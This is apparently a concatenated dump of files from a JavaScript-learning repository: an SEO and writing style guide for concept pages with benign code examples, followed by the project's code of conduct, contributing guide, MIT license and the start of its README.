traverse nodes, and optimize rendering." --- How does JavaScript change what you see on a webpage? ← Hook question The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph for web documents. It represents your HTML as a **tree of objects** that JavaScript can read and manipulate. <Info> **What you'll learn in this guide:** ← 🟠 Topic reinforcement - What the DOM actually is - How to select elements (getElementById vs querySelector) ← Secondary keywords - How to traverse the DOM tree - How to create, modify, and remove elements ← "DOM" implicit - How browsers render the DOM (Critical Rendering Path) </Info> ## What is the DOM in JavaScript? ← 🟠 H2 with question keyword The DOM (Document Object Model) is... ← Natural repetition ## How the DOM Works ← 🟠 H2 with "how" keyword ## DOM Manipulation Methods ← 🟡 H3 with related keyword ## Key Takeaways ← 🟡 Reinforce in summary ``` **Warning Signs of Keyword Stuffing:** - Same exact phrase appears more than 3-4 times per 1000 words - Sentences read awkwardly because keywords were forced in - Using keywords where pronouns ("it", "they", "this") would be natural --- ### Answering Search Intent Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately. **The First Paragraph Rule:** The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it. ```mdx <!-- ❌ BAD: Builds up to the answer --> ## What is the Event Loop? Before we can understand the event loop, we need to talk about JavaScript's single-threaded nature. You see, JavaScript can only do one thing at a time, and this creates some interesting challenges. The way JavaScript handles this is through something called... the event loop. <!-- ✓ GOOD: Answers immediately --> ## What is the Event Loop? The **event loop** is JavaScript's mechanism for executing code, handling events, and managing asynchronous operations. It continuously monitors the call stack and task queue, moving queued callbacks to the stack when it's empty — this is how JavaScript handles async code despite being single-threaded. ``` **Question-Format H2 Headings:** Use H2s that match how people search: | Search Query | H2 to Use | |--------------|-----------| | "what is the DOM" | `## What is the DOM?` | | "how closures work" | `## How Do Closures Work?` | | "why use promises" | `## Why Use Promises?` | | "when to use async await" | `## When Should You Use async/await?` | --- ### Featured Snippet Optimization Featured snippets appear at **position zero** — above all organic results. Structure your content to win them. **Snippet Types and How to Win Them:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ FEATURED SNIPPET TYPES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │ │ ─────────── ────────────── ───────────────────────── │ │ │ │ "What is X" Paragraph 40-60 word definition │ │ immediately after H2 │ │ │ │ "How to X" Numbered list <Steps> component or │ │ numbered Markdown list │ │ │ │ "X vs Y" Table Comparison table with │ │ clear column headers │ │ │ │ "Types of X" Bulleted list Bullet list under │ │ descriptive H2 │ │ │ │ "[X] examples" Bulleted list or Code examples with │ │ code block brief explanations │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Pattern 1: Definition Snippet (40-60 words)** For "what is [concept]" queries: ```mdx ## What is a Closure in JavaScript? A **closure** is a function that retains access to variables from its outer (enclosing) scope, even after that outer function has finished executing. Closures are created every time a function is created in JavaScript, allowing inner functions to "remember" and access their lexical environment. ``` **Why this wins:** - H2 matches search query exactly - Bold keyword in first sentence - 40-60 word complete definition - Explains the "why" not just the "what" **Pattern 2: List Snippet (Steps)** For "how to [action]" queries: ```mdx ## How to Make a Fetch Request in JavaScript <Steps> <Step title="1. Call fetch() with the URL"> The `fetch()` function takes a URL and returns a Promise that resolves to a Response object. </Step> <Step title="2. Check if the response was successful"> Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors. </Step> <Step title="3. Parse the response body"> Use `response.json()` for JSON data, `response.text()` for plain text. </Step> <Step title="4. Handle errors properly"> Wrap everything in try/catch to handle both network and HTTP errors. </Step> </Steps> ``` **Pattern 3: Table Snippet (Comparison)** For "[X] vs [Y]" queries: ```mdx ## == vs === in JavaScript | Aspect | `==` (Loose Equality) | `===` (Strict Equality) | |--------|----------------------|------------------------| | Type coercion | Yes — converts types before comparing | No — types must match | | Speed | Slower (coercion overhead) | Faster (no coercion) | | Predictability | Can produce surprising results | Always predictable | | Recommendation | Avoid in most cases | Use by default | ```javascript // Examples 5 == "5" // true (string coerced to number) 5 === "5" // false (different types) ``` ``` **Pattern 4: List Snippet (Types/Categories)** For "types of [concept]" queries: ```mdx ## Types of Scope in JavaScript JavaScript has three types of scope that determine where variables are accessible: - **Global Scope** — Variables declared outside any function or block; accessible everywhere - **Function Scope** — Variables declared inside a function with `var`; accessible only within that function - **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block ``` --- ### Content Structure for SEO How you structure content affects both rankings and user experience. **The Inverted Pyramid:** Put the most important information first. Search engines and users both prefer content that answers questions immediately. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE INVERTED PYRAMID │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ │ │ ┌─────────────────────────────────────┐ │ │ │ ANSWER THE QUESTION │ ← First 100 words │ │ │ Definition + Core Concept │ (most important) │ │ └──────────────────┬──────────────────┘ │ │ │ │ │ ┌────────────────┴────────────────┐ │ │ │ EXPLAIN HOW IT WORKS │ ← Next 300 words │ │ │ Mechanism + Visual Diagram │ (supporting info) │ │ └────────────────┬─────────────────┘ │ │ │ │ │ ┌──────────────────┴──────────────────┐ │ │ │ SHOW PRACTICAL EXAMPLES │ ← Code examples │ │ │ Code + Step-by-step │ (proof it works) │ │ └──────────────────┬──────────────────┘ │ │ │ │ │ ┌──────────────────────┴──────────────────────┐ │ │ │ COVER EDGE CASES │ ← Advanced │ │ │ Common mistakes, gotchas │ (depth) │ │ └──────────────────────┬──────────────────────┘ │ │ │ │ │ ┌──────────────────────────┴──────────────────────────┐ │ │ │ ADDITIONAL RESOURCES │ ← External │ │ │ Related concepts, articles, videos │ (links) │ │ └──────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Scannable Content Patterns:** Google favors content that's easy to scan. Use these elements: | Element | SEO Benefit | When to Use | |---------|-------------|-------------| | Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) | | Bullet lists | Often become featured snippets | Lists of 3+ items | | Numbered lists | "How to" snippet potential | Sequential steps | | Tables | High snippet potential | Comparisons, reference data | | Bold text | Highlights keywords for crawlers | First mention of key terms | | Headings (H2/H3) | Structure signals to Google | Every major topic shift | **Content Length Guidelines:** | Length | Assessment | Action | |--------|------------|--------| | Under 1,000 words | Too thin | Add more depth, examples, edge cases | | 1,000-1,500 words | Minimum viable | Acceptable for simple concepts | | 1,500-2,500 words | Good | Standard for most concept pages | | 2,500-4,000 words | Excellent | Ideal for comprehensive guides | | Over 4,000 words | Evaluate | Consider splitting into multiple pages | **Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content. --- ### Internal Linking for SEO Internal links help search engines understand your site structure and distribute page authority. **Topic Cluster Strategy:** Think of concept pages as an interconnected network. Every concept should link to 3-5 related concepts: ``` ┌─────────────────┐ ┌───────│ Promises │───────┐ │ └────────┬────────┘ │ │ │ │ ▼ ▼ ▼ ┌───────────┐ ┌───────────────┐ ┌─────────────┐ │async/await│◄──►│ Event Loop │◄──►│ Callbacks │ └───────────┘ └───────────────┘ └─────────────┘ │ │ │ │ ▼ │ │ ┌───────────────┐ │ └──────►│ Call Stack │◄───────┘ └───────────────┘ ``` **Link Placement Guidelines:** 1. **In Prerequisites (Warning box):** ```mdx <Warning> **Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript. </Warning> ``` 2. **In Body Content (natural context):** ```mdx When the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop). ``` 3. **In Related Concepts Section:** ```mdx <CardGroup cols={2}> <Card title="Promises" icon="handshake" href="/concepts/promises"> async/await is built on top of Promises </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How JavaScript manages async operations </Card> </CardGroup> ``` **Anchor Text Best Practices:** | ❌ Bad Anchor Text | ✓ Good Anchor Text | Why | |-------------------|-------------------|-----| | "click here" | "event loop guide" | Descriptive, includes keyword | | "this article" | "our Promises concept" | Tells Google what page is about | | "here" | "JavaScript closures" | Keywords in anchor text | | "read more" | "understanding the call stack" | Natural, informative | --- ### URL and Slug Best Practices URLs (slugs) are a minor but meaningful ranking factor. **Rules:** 1. **Use lowercase** — `closures` not `Closures` 2. **Use hyphens** — `call-stack` not `call_stack` or `callstack` 3. **Keep it short** — aim for 3-5 words maximum 4. **Include primary keyword** — the concept name 5. **Avoid stop words** — skip "the", "and", "in", "of" unless necessary **Slug Examples:** | Concept | ❌ Avoid | ✓ Use | |---------|---------|-------| | The Event Loop | `the-event-loop` | `event-loop` | | this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` | | Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` | | DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` | **Note:** For this project, slugs are already set. When creating new pages, follow these conventions. --- ### Opening Paragraph: The SEO Power Move The opening paragraph is prime SEO real estate. It should: 1. Hook the reader with a question they're asking 2. Include the primary keyword naturally 3. Provide a brief definition or answer 4. Set up what they'll learn **Template:** ```mdx [Question hook that matches search intent?] [Maybe another question?] The **[Primary Keyword]** is [brief definition that answers "what is X"]. [One sentence explaining why it matters or what it enables]. ```javascript // Immediately show a simple example ``` [Brief transition to "What you'll learn" box] ``` **Example (Closures):** ```mdx Why do some functions seem to "remember" variables that should have disappeared? How can a callback still access variables from a function that finished running long ago? The answer is **closures** — one of JavaScript's most powerful (and often misunderstood) features. A closure is a function that retains access to its outer scope's variables, even after that outer scope has finished executing. ```javascript function createCounter() { let count = 0 // This variable is "enclosed" by the returned function return function() { count++ return count } } const counter = createCounter() console.log(counter()) // 1 console.log(counter()) // 2 — it remembers! ``` Understanding closures unlocks patterns like private variables, factory functions, and the module pattern that power modern JavaScript. ``` **Why this works for SEO:** - Question hooks match how people search ("why do functions remember") - Bold keyword in first paragraph - Direct definition answers "what is a closure" - Code example demonstrates immediately - Natural setup for learning objectives --- ## Inline Linking Rules (Critical!) ### Always Link to MDN Whenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning. ```mdx <!-- ✓ CORRECT: Link on first mention --> The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests. The **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply. Most modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format. <!-- ❌ WRONG: No links --> The Fetch API is JavaScript's modern way to make network requests. ``` ### Link to Related Concept Pages When mentioning concepts covered in other pages, link to them: ```mdx <!-- ✓ CORRECT: Internal links to related concepts --> If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first. This guide assumes you understand [Promises](/concepts/promises). <!-- ❌ WRONG: No internal links --> If you're not familiar with async/await, you should learn that first. ``` ### Common MDN Link Patterns | Concept | MDN URL Pattern | |---------|-----------------| | Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | | JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | | HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | | HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` | | HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` | --- ## Code Examples Best Practices ### 1. Start with the Simplest Possible Example ```javascript // ✓ GOOD: Start with the absolute basics // This is how you fetch data in JavaScript const response = await fetch('https://api.example.com/users/1') const user = await response.json() console.log(user.name) // "Alice" ``` ### 2. Use Step-by-Step Comments ```javascript // Step 1: fetch() returns a Promise that resolves to a Response object const responsePromise = fetch('https://api.example.com/users') // Step 2: When the response arrives, we get a Response object responsePromise.then(response => { console.log(response.status) // 200 // Step 3: The body is a stream, we need to parse it return response.json() }) .then(data => { // Step 4: Now we have the actual data console.log(data) }) ``` ### 3. Show Output in Comments ```javascript const greeting = "Hello" console.log(typeof greeting) // "string" const numbers = [1, 2, 3] console.log(numbers.length) // 3 ``` ### 4. Use ❌ and ✓ for Wrong/Correct Patterns ```javascript // ❌ WRONG - This misses HTTP errors! try { const response = await fetch('/api/users/999') const data = await response.json() } catch (error) { // Only catches NETWORK errors, not 404s! } // ✓ CORRECT - Check response.ok try { const response = await fetch('/api/users/999') if (!response.ok) { throw new Error(`HTTP error! Status: ${response.status}`) } const data = await response.json() } catch (error) { // Now catches both network AND HTTP errors } ``` ### 5. Use Meaningful Variable Names ```javascript // ❌ BAD const x = [1, 2, 3] const y = x.map(z => z * 2) // ✓ GOOD const numbers = [1, 2, 3] const doubled = numbers.map(num => num * 2) ``` ### 6. Progress from Simple to Complex ```javascript // Level 1: Basic usage fetch('/api/users') // Level 2: With options fetch('/api/users', { method: 'POST', body: JSON.stringify({ name: 'Alice' }) }) // Level 3: Full real-world pattern async function createUser(userData) { const response = await fetch('/api/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(userData) }) if (!response.ok) { throw new Error(`Failed to create user: ${response.status}`) } return response.json() } ``` --- ## Resource Curation Guidelines External resources (articles, videos) are valuable, but must meet quality standards. ### Quality Standards Only include resources that are: 1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar 2. **Still accessible** — Verify all links work before publishing 3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators) 4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics 5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns ### Writing Resource Descriptions Each resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time. ```mdx <!-- ❌ Generic (bad) --> <Card title="JavaScript Promises Tutorial" icon="newspaper" href="..."> Learn about Promises in JavaScript. </Card> <!-- ❌ Generic (bad) --> <Card title="Async/Await Explained" icon="newspaper" href="..."> A comprehensive guide to async/await. </Card> <!-- ✓ Specific (good) --> <Card title="JavaScript Async/Await Tutorial" icon="newspaper" href="https://javascript.info/async-await"> The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains. </Card> <!-- ✓ Specific (good) --> <Card title="JavaScript Visualized: Promises & Async/Await" icon="newspaper" href="..."> Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally "clicked" for thousands of developers. </Card> <!-- ✓ Specific (good) --> <Card title="How to Escape Async/Await Hell" icon="newspaper" href="..."> The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics. </Card> ``` **Description Formula:** 1. **Sentence 1:** What makes this resource unique OR what it specifically covers 2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out) **Avoid in descriptions:** - "Comprehensive guide to..." (vague) - "Great tutorial on..." (vague) - "Learn all about..." (vague) - "Everything you need to know about..." (cliché) ### Recommended Sources **Articles (Prioritize):** | Source | Why | |--------|-----| | javascript.info | Comprehensive, well-maintained, exercises included | | MDN Web Docs | Official reference, always accurate | | freeCodeCamp | Beginner-friendly, practical tutorials | | dev.to (Lydia Hallie, etc.) | Visual explanations, community favorites | | CSS-Tricks | DOM, browser APIs, visual topics | **Videos (Prioritize):** | Creator | Style | |---------|-------| | Web Dev Simplified | Clear, beginner-friendly, concise | | Fireship | Fast-paced, modern, entertaining | | Traversy Media | Comprehensive crash courses | | Fun Fun Function | Deep-dives with personality | | Wes Bos | Practical, real-world focused | **Avoid:** - Resources in other programming languages (C#, Python, Java) even if concepts overlap - Outdated tutorials (pre-ES6 syntax for modern concepts) - Paywalled content (unless there's a free tier) - Low-quality Medium articles (check engagement and accuracy) - Resources that teach anti-patterns - Videos over 2 hours (link to specific timestamps if valuable) ### Verifying Resources Before including any resource: 1. **Click the link** — Verify it loads and isn't behind a paywall 2. **Skim the content** — Ensure it's accurate and well-written 3. **Check the date** — For time-sensitive topics, prefer recent content 4. **Read comments/reactions** — Community feedback reveals quality issues 5. **Test code examples** — If they include code, verify it works --- ## ASCII Art Diagrams Use ASCII art to visualize concepts. Make them boxed and labeled: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE REQUEST-RESPONSE CYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOU (Browser) KITCHEN (Server) │ │ ┌──────────┐ ┌──────────────┐ │ │ │ │ ──── "I'd like pasta" ────► │ │ │ │ │ :) │ (REQUEST) │ [chef] │ │ │ │ │ │ │ │ │ │ │ ◄──── Here you go! ──────── │ │ │ │ │ │ (RESPONSE) │ │ │ │ └──────────┘ └──────────────┘ │ │ │ │ The waiter (HTTP) is the protocol that makes this exchange work! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Mintlify Components Reference | Component | When to Use | |-----------|-------------| | `<Info>` | "What you'll learn" boxes, Key Takeaways | | `<Warning>` | Common mistakes, gotchas, prerequisites | | `<Tip>` | Pro tips, rules of thumb, best practices | | `<Note>` | Additional context, side notes | | `<AccordionGroup>` | Expandable content, Q&A sections, optional deep-dives | | `<Tabs>` | Comparing different approaches side-by-side | | `<Steps>` | Sequential processes, numbered workflows | | `<CardGroup>` | Resource links (articles, videos, references) | | `<Card>` | Individual resource with icon and link | ### Card Icons Reference | Content Type | Icon | |--------------|------| | MDN/Official Docs | `book` | | Articles/Blog Posts | `newspaper` | | Videos | `video` | | Courses | `graduation-cap` | | Related Concepts | Context-appropriate (`handshake`, `hourglass`, `arrows-spin`, `sitemap`, etc.) | --- ## Quality Checklist Before finalizing a concept page, verify ALL of these: ### Structure - [ ] Opens with engaging questions that hook the reader - [ ] Shows a simple code example immediately after the opening - [ ] Has "What you'll learn" Info box right after the opening - [ ] Major sections are separated by `---` horizontal rules - [ ] Has a real-world analogy with ASCII art diagram - [ ] Has a "Common Mistakes" or "The #1 Mistake" section - [ ] Has a "Key Takeaways" section summarizing 8-10 points - [ ] Has a "Test Your Knowledge" section with 5-6 Q&As - [ ] Ends with Related Concepts, Reference, Articles, Videos in that order ### Linking - [ ] All new Web APIs/methods have inline MDN links on first mention - [ ] All related concepts link to their concept pages (`/concepts/slug`) - [ ] Reference section has multiple MDN links - [ ] 4-6 quality articles with descriptions - [ ] 3-4 quality videos with descriptions ### Code Examples - [ ] First code example is dead simple - [ ] Uses step-by-step comments for complex examples - [ ] Shows output in comments (`// "result"`) - [ ] Uses ❌ and ✓ for wrong/correct patterns - [ ] Uses meaningful variable names - [ ] Progresses from simple to complex ### Content Quality - [ ] Written for someone who might be new to coding - [ ] Prerequisites are noted with Warning component - [ ] No assumptions about prior knowledge without links - [ ] Tables used for quick reference information - [ ] ASCII diagrams for visual concepts ### Language Quality - [ ] Description starts with "Learn" or "Understand" (not "Master") - [ ] No overuse of em dashes (fewer than 15 outside Key Takeaways and structured sections) - [ ] No AI superlatives: "dramatically", "fundamentally", "incredibly", "extremely" - [ ] No stiff phrases: "one of the most important", "essential points", "It should be noted" - [ ] Emphasis patterns vary (not all "Key insight:" or "Best practice:") - [ ] Playful touches are sparse (1-2 per major section maximum) - [ ] No filler words: "basically", "essentially", "actually", "very", "really" - [ ] Sentences are direct (no "In order to", "Due to the fact that") ### Resource Quality - [ ] All article/video links are verified working - [ ] All resources are JavaScript-focused (no C#, Python, Java resources) - [ ] Each resource has a specific 2-sentence description (not generic) - [ ] Resource descriptions explain what makes each unique - [ ] No outdated resources (check dates for time-sensitive topics) - [ ] 4-6 articles from reputable sources - [ ] 3-4 videos from quality creators --- ## Writing Tests When adding code examples, create corresponding tests in `/tests/`: ```javascript // tests/{category}/{concept-name}/{concept-name}.test.js import { describe, it, expect } from 'vitest' describe('Concept Name', () => { describe('Basic Examples', () => { it('should demonstrate the core concept', () => { // Convert console.log examples to expect assertions expect(typeof "hello").toBe("string") }) }) describe('Common Mistakes', () => { it('should show the wrong behavior', () => { // Test the "wrong" example to prove it's actually wrong }) it('should show the correct behavior', () => { // Test the "correct" example }) }) }) ``` --- ## SEO Checklist Verify these elements before publishing any concept page: ### Title & Meta Description - [ ] **Title is 50-60 characters** — check with character counter - [ ] **Title ends with "in JavaScript"** — SEO keyword at end - [ ] **Title has a compelling hook** — tells reader what they'll understand - [ ] **sidebarTitle matches title but without "in JavaScript"** — cleaner navigation - [ ] **Description is 150-160 characters** — don't leave value on the table - [ ] **Description includes primary keyword** in first sentence - [ ] **Description includes 1-2 secondary keywords** naturally - [ ] **Description starts with action word** (Learn, Understand, Discover — avoid "Master") - [ ] **Description promises specific value** — what will they learn? ### Keyword Placement - [ ] **Primary keyword in title** - [ ] **Primary keyword in description** - [ ] **Primary keyword in first paragraph** (within first 100 words) - [ ] **Primary keyword in at least one H2 heading** - [ ] **Secondary keywords in H2/H3 headings** where natural - [ ] **Keywords in "What you'll learn" box items** - [ ] **No keyword stuffing** — content reads naturally ### Content Structure - [ ] **Opens with question hook** matching search intent - [ ] **Shows code example in first 200 words** - [ ] **First paragraph after H2s directly answers** the implied question - [ ] **Content is 1,500+ words** (comprehensive coverage) - [ ] **Short paragraphs** (2-4 sentences maximum) - [ ] **Uses bullet lists** for 3+ related items - [ ] **Uses numbered lists** for sequential processes - [ ] **Uses tables** for comparisons and reference data - [ ] **Key terms bolded** on first mention with MDN links ### Featured Snippet Optimization - [ ] **"What is X" section has 40-60 word definition paragraph** - [ ] **"How to" sections use numbered steps or `<Steps>` component** - [ ] **Comparison sections use tables** with clear headers - [ ] **At least one H2 is phrased as a question** matching search query ### Internal Linking - [ ] **Links to 3-5 related concept pages** in body content - [ ] **Uses descriptive anchor text** (not "click here" or "here") - [ ] **Prerequisites linked in Warning component** at start - [ ] **Related Concepts section has 4 cards** with relevant concepts - [ ] **Links appear in natural context** — not forced ### Technical SEO - [ ] **Slug is lowercase with hyphens** - [ ] **Slug contains primary keyword** - [ ] **Slug is 3-5 words maximum** - [ ] **All external links use proper URLs** (no broken links) - [ ] **MDN links are current** (check they resolve) ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge We as members, contributors, and leaders pledge to participate in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards Examples of behavior that contributes to a positive environment for our community includes: * Demonstrating empathy and kindness toward other people * Being respectful of differing opinions, viewpoints, and experiences * Giving and gracefully accepting constructive feedback * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience * Focusing on what is best not just for us as individuals, but for the overall community Examples of unacceptable behavior include: * The use of sexualized language or imagery, and sexual attention or advances of any kind * Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or email address, without their explicit permission * Other conduct that could reasonably be considered inappropriate in a professional setting ## Enforcement Responsibilities Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. ## Scope This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public areas. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at leonardomso11@gmail.com. All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the reporter of any incident. ## Enforcement Guidelines Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: ### 1. Correction **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. ### 2. Warning **Community Impact**: A violation through a single incident or series of actions. **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. ### 3. Temporary Ban **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. ### 4. Permanent Ban **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. **Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations. ================================================ FILE: CONTRIBUTING.md ================================================ # Contribution This project would not be possible without your help and support, and we appreciate your willingness to contribute! ## Testing This project uses [Vitest](https://vitest.dev/) as the test runner to verify that code examples in the documentation work correctly. ### Running Tests ```bash # Run all tests once npm test # Run tests in watch mode (re-runs on file changes) npm run test:watch # Run tests with coverage report npm run test:coverage ``` ### Test Structure Tests are organized by concept in the `tests/` directory: ``` tests/ ├── call-stack/ │ └── call-stack.test.js ├── primitive-types/ │ └── primitive-types.test.js └── ... ``` ### Writing Tests for Code Examples When adding new code examples to concept documentation, please include corresponding tests: 1. **File naming**: Create `{concept-name}.test.js` in `tests/{concept-name}/` 2. **Use explicit imports**: ```javascript import { describe, it, expect } from 'vitest' ``` 3. **Convert console.log examples to assertions**: ```javascript // Documentation example: // console.log(typeof "hello") // "string" // Test: it('should return string type', () => { expect(typeof "hello").toBe("string") }) ``` 4. **Test error cases**: Use `expect(() => { ... }).toThrow()` for operations that should throw 5. **Skip browser-specific examples**: Tests run in Node.js, so skip DOM/window/document examples 6. **Note strict mode behavior**: Vitest runs in strict mode, so operations that "silently fail" in non-strict mode will throw `TypeError` ### Creating a New Translation To create a new translation, please follow these steps: * Fork the [main repository](https://github.com/leonardomso/33-js-concepts). * Add yourself to the watch list of the main repository to stay updated with any changes. * Translate the repository on your forked copy. * Go to the [main repository](https://github.com/leonardomso/33-js-concepts) and edit the README.md file to include a link to your translated repository. * Inside the **Community** section, add a new line with the link to your translated repository in the following format: * [Your language in native form (English name)](link to your repository here) — Your Name * For example, `[日本語 (Japanese)](https://github.com/oimo23/33-js-concepts) — oimo23` * Create a new Pull Request with the name "Add *your language here* translation." * Now, just wait for the merge! ## License By contributing, you agree that your contributions will be licensed under the [MIT license](./LICENSE). ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2018 Leonardo Maldonado Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ <h1 align="center"> <br> <a href="https://github.com/leonardomso/33-js-concepts"><img src="github-image.png" alt="33 Concepts Every JS Developer Should Know"></a> <br> <br> <strong>33 Concepts Every JavaScript Developer Should Know</strong> <br><br> </h1> <p align="center"> <a href="https://33jsconcepts.com">Read the Full Guide</a> • <a href="#concepts">Concepts</a> • <a href="TRANSLATIONS.md">Translations</a> • <a href="CONTRIBUTING.md">Contributing</a> </p> <div align="center"> <strong>Recognized by GitHub as one of the <a href="https://github.blog/news-insights/octoverse/new-open-source-projects/#top-projects-of-2018">top open source projects of 2018!</a></strong> </div> --- ## About This repository helps developers master core JavaScript concepts. Each concept includes clear explanations, practical code examples, and curated resources. **[Start learning at 33jsconcepts.com →](https://33jsconcepts.com)** --- ## Concepts ### Fundamentals - **[Primitive Types](https://33jsconcepts.com/concepts/primitive-types)** Learn JavaScript's 7 primitive types: string, number, bigint, boolean, undefined, null, and symbol. Understand immutability, typeof quirks, and autoboxing. - **[Primitives vs Objects](https://33jsconcepts.com/concepts/primitives-objects)** Learn how JavaScript primitives and objects differ in behavior. Understand immutability, call-by-sharing semantics, why mutation works but reassignment doesn't, and how V8 actually stores values. - **[Type Coercion](https://33jsconcepts.com/concepts/type-coercion)** Learn JavaScript type coercion and implicit conversion. Understand how values convert to strings, numbers, and booleans, the 8 falsy values, and how to avoid common coercion bugs. - **[Equality Operators](https://33jsconcepts.com/concepts/equality-operators)** Learn JavaScript equality operators == vs ===, typeof quirks, and Object.is(). Understand type coercion, why NaN !== NaN, and why typeof null returns 'object'. - **[Scope and Closures](https://33jsconcepts.com/concepts/scope-and-closures)** Learn JavaScript scope and closures. Understand the three types of scope, var vs let vs const, lexical scoping, the scope chain, and closure patterns for data privacy. - **[Call Stack](https://33jsconcepts.com/concepts/call-stack)** Learn how the JavaScript call stack tracks function execution. Understand stack frames, LIFO ordering, execution contexts, stack overflow 